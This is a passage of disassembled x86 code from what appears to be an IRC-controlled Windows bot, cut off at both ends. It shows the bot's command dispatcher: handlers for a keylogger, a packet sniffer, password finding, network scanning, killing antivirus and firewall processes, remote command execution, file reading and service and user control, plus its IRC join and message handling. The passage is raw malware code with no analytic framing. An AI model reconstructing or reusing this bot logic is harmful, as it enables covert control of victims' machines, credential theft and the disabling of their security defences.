		call	dword_43A34C	; connect
		xor	ebx, ebx
		push	ebx
		mov	esi, 100h
		push	esi
		lea	eax, [ebp+var_1DEC]
		push	eax
		push	edi
		call	dword_43A304	; recv
		lea	eax, [ebp+var_1DEC]
		lea	ecx, [eax+1]


loc_40AE80:				; CODE XREF: sub_409806+167Fj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40AE80
		push	ebx
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_27F0]
		push	eax
		push	edi
		call	dword_43A438	; send
		push	ebx
		push	esi
		lea	eax, [ebp+var_1DEC]
		push	eax
		push	edi
		call	dword_43A304	; recv
		push	edi
		call	dword_43A4B0	; closesocket
		call	dword_43A4BC	; WSACleanup
		lea	eax, [ebp+var_1548]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aEmailMessageSe ; "[EMAIL]: Message sent	to %s."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jnz	short loc_40AEF2
		push	ebx


loc_40AED7:				; CODE XREF: sub_409806+2127j
					; sub_409806+4038j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40AEEA:				; CODE XREF: sub_409806+345Dj
		call	sub_405D20
		add	esp, 14h


loc_40AEF2:				; CODE XREF: sub_409806+16CEj
					; sub_409806+211Fj ...
		mov	esi, [ebp+arg_24]


loc_40AEF5:				; CODE XREF: sub_409806+3FCDj
					; sub_409806+3FF0j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		pop	ecx
		mov	eax, esi
		jmp	loc_409A87
; ---------------------------------------------------------------------------


loc_40AF09:				; CODE XREF: sub_409806+13D2j
		push	8
		mov	edi, eax
		mov	esi, offset aGetclip ; "getclip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E42C
		push	3
		mov	edi, eax
		mov	esi, offset aGc	; "gc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E42C
		push	9
		mov	edi, eax
		mov	esi, offset aFlusharp ;	"flusharp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E401
		push	5
		mov	edi, eax
		mov	esi, offset aFarp ; "farp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E401
		push	9
		mov	edi, eax
		mov	esi, offset aFlushdns ;	"flushdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E3D1
		push	5
		mov	edi, eax
		mov	esi, offset aFdns ; "fdns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E3D1
		push	0Ah
		mov	edi, eax
		mov	esi, offset aCurrentip ; "currentip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E397
		push	4
		mov	edi, eax
		mov	esi, offset aCip ; "cip"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E397
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRloginserver ; "rloginserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E25E
		push	7
		mov	edi, eax
		mov	esi, offset aRlogin ; "rlogin"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E25E
		push	0Bh
		mov	edi, eax
		mov	esi, offset aHttpserver	; "httpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E0DD
		push	5
		mov	edi, eax
		mov	esi, offset aHttp ; "http"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E0DD
		push	0Bh
		mov	edi, eax
		mov	esi, offset aTftpserver	; "tftpserver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DF86
		push	5
		mov	edi, eax
		mov	esi, offset aTftp ; "tftp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DF86
		push	9
		mov	edi, eax
		mov	esi, offset aFindpass ;	"findpass"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DEDE
		push	3
		mov	edi, eax
		mov	esi, offset aFp	; "fp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DEDE
		push	8
		mov	edi, eax
		mov	esi, offset aScanall ; "scanall"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DBA3
		push	3
		mov	edi, eax
		mov	esi, offset aSa	; "sa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DBA3
		mov	ecx, [ebp+ebx+var_A0]
		test	ecx, ecx
		mov	[ebp+var_8], ecx
		jz	loc_409A84
		push	5
		mov	edi, eax
		mov	esi, offset aNick_0 ; "nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB7E
		push	2
		mov	edi, eax
		mov	esi, offset aN	; "n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB7E
		push	5
		mov	edi, eax
		mov	esi, offset aJoin ; "join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB5A
		push	2
		mov	edi, eax
		mov	esi, offset aJ	; "j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB5A
		push	5
		mov	edi, eax
		mov	esi, offset aPart_0 ; "part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB40
		push	3
		mov	edi, eax
		mov	esi, offset aPt	; "pt"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB40
		push	4
		mov	edi, eax
		mov	esi, offset aRaw ; "raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB09
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DB09
		push	0Bh
		mov	edi, eax
		mov	esi, offset aKillthread	; "killthread"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DA4F
		push	2
		mov	edi, eax
		mov	esi, offset aK	; "k"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DA4F
		push	7
		mov	edi, eax
		mov	esi, offset aC_quit ; "c_quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D9A1
		push	4
		mov	edi, eax
		mov	esi, offset aC_q ; "c_q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D9A1
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_rndnick ; "c_rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D950
		push	5
		mov	edi, eax
		mov	esi, offset aC_rn ; "c_rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D950
		push	7
		mov	edi, eax
		mov	esi, offset aPrefix ; "prefix"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D937
		push	3
		mov	edi, eax
		mov	esi, offset aPr	; "pr"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D937
		push	5
		mov	edi, eax
		mov	esi, offset aOpen ; "open"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D901
		push	2
		mov	edi, eax
		mov	esi, offset aO	; "o"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D901
		push	7
		mov	edi, eax
		mov	esi, offset aServer ; "server"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D8D8
		push	3
		mov	edi, eax
		mov	esi, offset aSe	; "se"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D8D8
		push	4
		mov	edi, eax
		mov	esi, offset aDns ; "dns"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D876
		push	3
		mov	edi, eax
		mov	esi, offset aDn	; "dn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D876
		push	9
		mov	edi, eax
		mov	esi, offset aKillproc ;	"killproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D843
		push	3
		mov	edi, eax
		mov	esi, offset aKp	; "kp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D843
		push	0Ch
		mov	edi, eax
		mov	esi, offset aKilldelproc ; "killdelproc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D7FB
		push	4
		mov	edi, eax
		mov	esi, offset aKdp ; "kdp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D7FB
		push	5
		mov	edi, eax
		mov	esi, offset aKill ; "kill"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D79A
		push	3
		mov	edi, eax
		mov	esi, offset aKi	; "ki"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D79A
		push	7
		mov	edi, eax
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D754
		push	4
		mov	edi, eax
		mov	esi, offset aDel ; "del"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D754
		push	5
		mov	edi, eax
		mov	esi, offset aList_0 ; "list"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D734
		push	3
		mov	edi, eax
		mov	esi, offset aLi	; "li"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D734
		push	6
		mov	edi, eax
		mov	esi, offset aVisit ; "visit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D642
		push	2
		mov	edi, eax
		mov	esi, offset aV	; "v"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D642
		push	8
		mov	edi, eax
		mov	esi, offset aMirccmd ; "mirccmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D5C9
		push	5
		mov	edi, eax
		mov	esi, offset aMirc ; "mirc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D5C9
		push	4
		mov	edi, eax
		mov	esi, offset aCmd ; "cmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D56D
		push	3
		mov	edi, eax
		mov	esi, offset aCm	; "cm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D56D
		push	9
		mov	edi, eax
		mov	esi, offset aReadfile ;	"readfile"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D4E2
		push	3
		mov	edi, eax
		mov	esi, offset aRf	; "rf"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D4E2
		push	7
		mov	edi, eax
		mov	esi, offset aPsniff ; "psniff"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40B4FB
		mov	edi, [ebp+var_8]
		push	3
		mov	esi, offset aOn	; "on"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40B4C6
		push	19h
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jle	short loc_40B3E2
		push	offset aPsniffAlreadyR ; "[PSNIFF]: Already running."
		jmp	loc_40B564
; ---------------------------------------------------------------------------


loc_40B3E2:				; CODE XREF: sub_409806+1BD0j
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_9C]
		test	ebx, ebx
		mov	[ebp+var_384], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2FC], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_2F8], eax
		jz	short loc_40B40C
		mov	eax, ebx
		jmp	short loc_40B427
; ---------------------------------------------------------------------------


loc_40B40C:				; CODE XREF: sub_409806+1C00j
		xor	ecx, ecx
		mov	eax, offset aSniffing ;	"#sniffing"
		inc	ecx
		mov	edi, 422B0Ah
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40B427
		mov	eax, [ebp+var_9C]


loc_40B427:				; CODE XREF: sub_409806+1C04j
					; sub_409806+1C19j
		push	eax
		lea	eax, [ebp+var_380]
		push	80h
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_2F0]
		push	offset aPsniffCarnivor ; "[PSNIFF]: Carnivore packet sniffer acti"...
		push	eax
		call	sub_416905
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	19h
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_384]
		push	eax
		push	offset sub_40913E
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jz	short loc_40B4B5
		cmp	[ebp+var_2F4], esi
		jnz	loc_40EDEE


loc_40B49F:				; CODE XREF: sub_409806+1CA8j
		push	32h
		call	dword_422000	; Sleep
		cmp	[ebp+var_2F4], 0
		jz	short loc_40B49F
		jmp	loc_40EDEE
; ---------------------------------------------------------------------------


loc_40B4B5:				; CODE XREF: sub_409806+1C8Bj
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aPsniffFailedTo ; "[PSNIFF]: Failed to start sniffer threa"...
		jmp	loc_40EDDF
; ---------------------------------------------------------------------------


loc_40B4C6:				; CODE XREF: sub_409806+1BC0j
		mov	edi, [ebp+var_8]
		push	4
		mov	esi, offset aOff ; "off"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40EDEE
		push	eax
		push	19h
		call	sub_413859
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_40B4F4
		push	eax
		push	offset aPsniffCarniv_0 ; "[PSNIFF]: Carnivore stopped. (%d thread"...
		jmp	loc_40EDDF
; ---------------------------------------------------------------------------


loc_40B4F4:				; CODE XREF: sub_409806+1CE1j
		push	offset aPsniffNoCarniv ; "[PSNIFF]: No Carnivore thread	found."
		jmp	short loc_40B564
; ---------------------------------------------------------------------------


loc_40B4FB:				; CODE XREF: sub_409806+1BABj
		push	7
		mov	edi, eax
		mov	esi, offset aKeylog ; "keylog"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40B67E
		mov	edi, [ebp+var_8]
		push	3
		mov	esi, offset aOn	; "on"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40B577
		mov	edi, [ebp+var_8]
		push	5
		mov	esi, offset aFile ; "file"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40B577
		mov	edi, [ebp+var_8]
		push	4
		mov	esi, offset aOff ; "off"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40EDEE
		push	eax
		push	1Bh
		call	sub_413859
		test	eax, eax
		pop	ecx
		pop	ecx
		jle	short loc_40B55F
		push	eax
		push	offset aKeylogKeyLogge ; "[KEYLOG]: Key	logger stopped.	(%d threa"...
		jmp	loc_40EDDF
; ---------------------------------------------------------------------------


loc_40B55F:				; CODE XREF: sub_409806+1D4Cj
		push	offset aKeylogNoKeyLog ; "[KEYLOG]: No key logger thread found."


loc_40B564:				; CODE XREF: sub_409806+1BD7j
					; sub_409806+1CF3j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	loc_40EDEE
; ---------------------------------------------------------------------------


loc_40B577:				; CODE XREF: sub_409806+1D18j
					; sub_409806+1D29j
		push	1Bh
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jle	short loc_40B58A
		push	offset aKeylogAlreadyR ; "[KEYLOG]: Already running."
		jmp	short loc_40B564
; ---------------------------------------------------------------------------


loc_40B58A:				; CODE XREF: sub_409806+1D7Bj
		mov	eax, [ebp+arg_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_384], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2FC], eax
		push	5
		mov	esi, offset aFile ; "file"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B5B9
		mov	[ebp+var_2F8], 1
		jmp	short loc_40B5C2
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_409806+1DA5j
		mov	eax, [ebp+var_C]
		mov	[ebp+var_2F8], eax


loc_40B5C2:				; CODE XREF: sub_409806+1DB1j
		mov	ebx, [ebp+ebx+var_9C]
		test	ebx, ebx
		jz	short loc_40B5D1
		mov	eax, ebx
		jmp	short loc_40B5EC
; ---------------------------------------------------------------------------


loc_40B5D1:				; CODE XREF: sub_409806+1DC5j
		xor	ecx, ecx
		mov	eax, offset aHell_1 ; "#hell"
		inc	ecx
		mov	edi, 422B0Ah
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40B5EC
		mov	eax, [ebp+var_9C]


loc_40B5EC:				; CODE XREF: sub_409806+1DC9j
					; sub_409806+1DDEj
		push	eax
		lea	eax, [ebp+var_37C]
		push	80h
		push	eax
		call	sub_416B5D
		lea	eax, [ebp+var_2F0]
		push	offset aKeylogKeyLog_0 ; "[KEYLOG]: Key	logger active."
		push	eax
		call	sub_416905
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Bh
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	[ebp+var_380], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_384]
		push	eax
		push	offset sub_405ED4
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_380]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40B671
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aKeylogFailedTo ; "[KEYLOG]: Failed to start logging threa"...
		jmp	loc_40EDDF
; ---------------------------------------------------------------------------


loc_40B669:				; CODE XREF: sub_409806+1E71j
		push	32h
		call	dword_422000	; Sleep


loc_40B671:				; CODE XREF: sub_409806+1E50j
		cmp	[ebp+var_2F4], esi
		jz	short loc_40B669
		jmp	loc_40EDEE
; ---------------------------------------------------------------------------


loc_40B67E:				; CODE XREF: sub_409806+1D03j
		push	4
		mov	edi, eax
		mov	esi, offset aNet ; "net"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40B932
		xor	eax, eax
		cmp	dword_43A508, eax
		jz	short loc_40B6AE
		cmp	dword_43A530, eax
		jz	short loc_40B6AE
		push	offset aNetFailedToLoa ; "[NET]: Failed	to load	advapi32.dll or	n"...
		jmp	loc_40B913
; ---------------------------------------------------------------------------


loc_40B6AE:				; CODE XREF: sub_409806+1E94j
					; sub_409806+1E9Cj
		cmp	[ebp+var_14], eax
		jz	loc_40B921
		mov	eax, [ebp+ebx+var_9C]
		and	[ebp+arg_0], 0
		test	eax, eax
		mov	[ebp+var_10], eax
		jz	short loc_40B6D7
		push	eax
		push	[ebp+var_14]
		call	sub_4173D0
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax


loc_40B6D7:				; CODE XREF: sub_409806+1EC1j
		mov	edx, [ebp+var_8]
		push	6
		mov	edi, edx
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B745
		cmp	[ebp+var_10], eax
		jz	short loc_40B713
		push	[ebp+arg_0]
		push	3


loc_40B6F4:				; CODE XREF: sub_409806+1F54j
					; sub_409806+1F6Bj ...
		call	sub_4082A9
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416905
		add	esp, 14h
		jmp	loc_40B921
; ---------------------------------------------------------------------------


loc_40B713:				; CODE XREF: sub_409806+1EE7j
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4079E4
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40B73B
		push	offset aNetServiceList ; "[NET]: Service list completed."
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B73B:				; CODE XREF: sub_409806+1F29j
		push	offset aNetServiceLi_0 ; "[NET]: Service list failed."
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B745:				; CODE XREF: sub_409806+1EE2j
		push	5
		mov	edi, edx
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B75C
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40B6F4
; ---------------------------------------------------------------------------


loc_40B75C:				; CODE XREF: sub_409806+1F4Dj
		push	6
		mov	edi, edx
		mov	esi, offset aPause ; "pause"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B773
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40B6F4
; ---------------------------------------------------------------------------


loc_40B773:				; CODE XREF: sub_409806+1F64j
		push	9
		mov	edi, edx
		mov	esi, offset aContinue ;	"continue"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B78D
		push	[ebp+arg_0]
		push	6
		jmp	loc_40B6F4
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_409806+1F7Bj
		push	7
		mov	edi, edx
		mov	esi, offset aDelete ; "delete"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B7A7
		push	[ebp+arg_0]
		push	1
		jmp	loc_40B6F4
; ---------------------------------------------------------------------------


loc_40B7A7:				; CODE XREF: sub_409806+1F95j
		push	6
		mov	edi, edx
		mov	esi, offset aShare ; "share"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B82B
		cmp	[ebp+var_10], eax
		jz	short loc_40B7F7
		cmp	[ebp+var_38C], al
		jz	short loc_40B7CC
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_40B7D8
; ---------------------------------------------------------------------------


loc_40B7CC:				; CODE XREF: sub_409806+1FBCj
		push	[ebp+ebx+var_98]
		push	[ebp+var_10]
		push	0


loc_40B7D8:				; CODE XREF: sub_409806+1FC4j
		call	sub_408321
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416905
		add	esp, 18h
		jmp	loc_40B921
; ---------------------------------------------------------------------------


loc_40B7F7:				; CODE XREF: sub_409806+1FB4j
		push	0
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4083DF
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40B821
		push	offset aNetShareListCo ; "[NET]: Share list completed."
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B821:				; CODE XREF: sub_409806+200Fj
		push	offset aNetShareListFa ; "[NET]: Share list failed."
		jmp	loc_40B919
; ---------------------------------------------------------------------------


loc_40B82B:				; CODE XREF: sub_409806+1FAFj
		push	5
		mov	edi, edx
		mov	esi, offset aUser ; "user"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40B8C7
		cmp	[ebp+var_10], eax
		jz	short loc_40B899
		cmp	[ebp+var_38C], al
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		jz	short loc_40B860
		push	eax
		push	[ebp+var_10]
		push	1
		jmp	short loc_40B87A
; ---------------------------------------------------------------------------


loc_40B860:				; CODE XREF: sub_409806+2050j
		mov	ebx, [ebp+ebx+var_98]
		test	ebx, ebx
		jz	short loc_40B873
		push	ebx
		push	[ebp+var_10]
		push	0
		jmp	short loc_40B87A
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_409806+2063j
		push	0
		push	[ebp+var_10]
		push	2


loc_40B87A:				; CODE XREF: sub_409806+2058j
					; sub_409806+206Bj
		call	sub_4084FE
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416905
		add	esp, 24h
		jmp	loc_40B921
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_409806+203Cj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4085C8
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40B8C0
		push	offset aNetUserListCom ; "[NET]: User list completed."
		jmp	short loc_40B919
; ---------------------------------------------------------------------------


loc_40B8C0:				; CODE XREF: sub_409806+20B1j
		push	offset aNetUserListFai ; "[NET]: User list failed."
		jmp	short loc_40B919
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_409806+2033j
		push	5
		mov	edi, edx
		mov	esi, offset aSend ; "send"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40B90E
		cmp	[ebp+var_10], eax
		jz	short loc_40B907
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4081ED
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416905
		add	esp, 1Ch
		jmp	short loc_40B921
; ---------------------------------------------------------------------------


loc_40B907:				; CODE XREF: sub_409806+20D4j
		push	offset aNetNoMessageSp ; "[NET]: No message specified."
		jmp	short loc_40B913
; ---------------------------------------------------------------------------


loc_40B90E:				; CODE XREF: sub_409806+20CFj
		push	offset aNetCommandUnkn ; "[NET]: Command unknown."


loc_40B913:				; CODE XREF: sub_409806+1EA3j
					; sub_409806+2106j ...
		lea	eax, [ebp+var_2F0]


loc_40B919:				; CODE XREF: sub_409806+1F30j
					; sub_409806+1F3Aj ...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40B921:				; CODE XREF: sub_409806+1EABj
					; sub_409806+1F08j ...
		cmp	[ebp+var_C], 0
		jnz	loc_40AEF2
		push	0
		jmp	loc_40AED7
; ---------------------------------------------------------------------------


loc_40B932:				; CODE XREF: sub_409806+1E86j
		push	8
		mov	edi, eax
		mov	esi, offset aCapture ; "capture"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D2A3
		push	4
		mov	edi, eax
		mov	esi, offset aCap ; "cap"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D2A3
		push	8
		mov	edi, eax
		mov	esi, offset aGethost ; "gethost"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D1BE
		push	3
		mov	edi, eax
		mov	esi, offset aGh	; "gh"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D1BE
		push	0Bh
		mov	edi, eax
		mov	esi, offset aAvfwkiller	; "avfwkiller"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40BA8E
		mov	edi, [ebp+var_8]
		push	6
		mov	esi, offset aStart ; "start"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40BA61
		lea	eax, [ebp+var_2F0]
		push	offset aAvfwAvFwBotKil ; "[AVFW]: AV/FW/BOT Killer active."
		push	eax
		call	sub_416905
		push	[ebp+ebx+var_9C]
		xor	edi, edi
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		push	1
		push	edi
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4138EC
		push	edi
		lea	eax, [ebp+var_2F0]
		push	1
		push	eax
		call	sub_4136B6
		add	esp, 34h
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40911C
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		imul	esi, 234h
		cmp	eax, edi
		mov	dword_43B254[esi], eax
		jnz	short loc_40BA34
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aAvfwFailedToSt ; "[AVFW]: Failed to start AV/FW	killer th"...
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40BA34:				; CODE XREF: sub_409806+2211j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		push	edi
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 18h
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40BA61:				; CODE XREF: sub_409806+219Fj
		mov	edi, [ebp+var_8]
		push	5
		mov	esi, offset aStop ; "stop"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409A84
		push	[ebp+ebx+var_9C]
		push	1
		push	offset aKillerThread ; "Killer Thread"
		push	offset aAvfw	; "[AVFW]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40BA8E:				; CODE XREF: sub_409806+218Aj
		mov	ecx, [ebp+ebx+var_9C]
		test	ecx, ecx
		mov	[ebp+var_10], ecx
		jz	loc_409A84
		push	9
		mov	edi, eax
		mov	esi, offset aAddalias ;	"addalias"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D14B
		push	3
		mov	edi, eax
		mov	esi, offset aAa	; "aa"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D14B
		push	8
		mov	edi, eax
		mov	esi, offset aPrivmsg_0 ; "privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0E0
		push	3
		mov	edi, eax
		mov	esi, offset aPm_0 ; "pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D0E0
		push	7
		mov	edi, eax
		mov	esi, offset aAction ; "action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D05D
		push	2
		mov	edi, eax
		mov	esi, offset aA_1 ; "a"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40D05D
		push	6
		mov	edi, eax
		mov	esi, offset aCycle ; "cycle"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CFF7
		push	3
		mov	edi, eax
		mov	esi, offset aCy	; "cy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
